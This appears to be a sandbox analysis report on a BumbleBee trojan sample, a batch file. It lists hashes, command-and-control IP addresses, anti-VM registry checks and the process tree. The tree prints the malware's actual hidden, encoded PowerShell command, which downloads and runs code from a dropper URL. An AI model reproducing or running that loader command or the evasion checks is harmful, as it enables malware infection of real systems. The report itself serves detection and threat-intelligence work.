bumblebee | 81000ce700ba04ce8395d0e909d639a88b27e826fef40bfc173fab686a0bc362

General

Target

connect.bat
Size

1KB
MD5

f6dfe4999a57ada167f090d6dc982837
SHA1

e0577a468c99c77989a4c8f3da3a8e7c3a3860c6
SHA256

81000ce700ba04ce8395d0e909d639a88b27e826fef40bfc173fab686a0bc362
SHA512

11f7c3f6135c20e8c37ee289ee21009820775921b6e37f219e0c178ff0522168887c48683d88bd1e48b8bd30514a5e52ebd603b40f96d90a42046dfaeb4f3e16

Score

10^/10

bumblebee 1909 evasion trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://meeronixt.com/gate

Extracted

Family

bumblebee

Botnet

1909

C2

108.177.235.29:443

23.106.160.117:443

23.106.215.133:443

rc4.plain

Signatures

BumbleBee
BumbleBee is a webshell malware written in C++.
trojan bumblebee

Enumerates VirtualBox registry keys 2 TTPs 5 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo	rundll32.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	rundll32.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	rundll32.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2036	powershell.exe
5	2036	powershell.exe
6	2036	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	rundll32.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\SOFTWARE\Wine	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
1512	rundll32.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1512	rundll32.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
2036	powershell.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe
1512	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 2036	1144	cmd.exe	28
PID 1144 wrote to memory of 2036	1144	cmd.exe	28
PID 1144 wrote to memory of 2036	1144	cmd.exe	28
PID 2036 wrote to memory of 1512	2036	powershell.exe	29
PID 2036 wrote to memory of 1512	2036	powershell.exe	29
PID 2036 wrote to memory of 1512	2036	powershell.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\connect.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2036
- - C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\nsYBZuq.bin CreateTask
    3⤵
    - Enumerates VirtualBox registry keys
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:1512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

4

T1497

Credential Access

Discovery

Query Registry

5

T1012

System Information Discovery

1

T1082

Virtualization/Sandbox Evasion

4

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\nsYBZuq.bin

Filesize
3.6MB

MD5
b86d270301e94ff797c6d1fc4a8d0976

SHA1
75ac1210ce98a84f8a49d9fe018a68519b359cab

SHA256
82c9f40ddad5d7dac07526fbdec31d613f92faf64fbe8512248c8759faa1be77

SHA512
b04b15c652a15a78e94997cbc4f7eab90913281201790130e155bf7629871acdcc2208d69344743d0257fa74f0a86536da2f2d9448b838f9e7bb3e0753965c07

Download Submit
\Users\Admin\AppData\Local\nsYBZuq.bin

Filesize
3.6MB

MD5
b86d270301e94ff797c6d1fc4a8d0976

SHA1
75ac1210ce98a84f8a49d9fe018a68519b359cab

SHA256
82c9f40ddad5d7dac07526fbdec31d613f92faf64fbe8512248c8759faa1be77

SHA512
b04b15c652a15a78e94997cbc4f7eab90913281201790130e155bf7629871acdcc2208d69344743d0257fa74f0a86536da2f2d9448b838f9e7bb3e0753965c07

Download Submit
memory/1512-66-0x0000000002080000-0x00000000021DF000-memory.dmp

Filesize
1.4MB

Download
memory/2036-60-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/2036-59-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/2036-57-0x000007FEF38F0000-0x000007FEF444D000-memory.dmp

Filesize
11.4MB

Download
memory/2036-62-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/2036-63-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/2036-58-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/2036-56-0x000007FEF4640000-0x000007FEF5063000-memory.dmp

Filesize
10.1MB

Download
memory/2036-55-0x000007FEFC001000-0x000007FEFC003000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads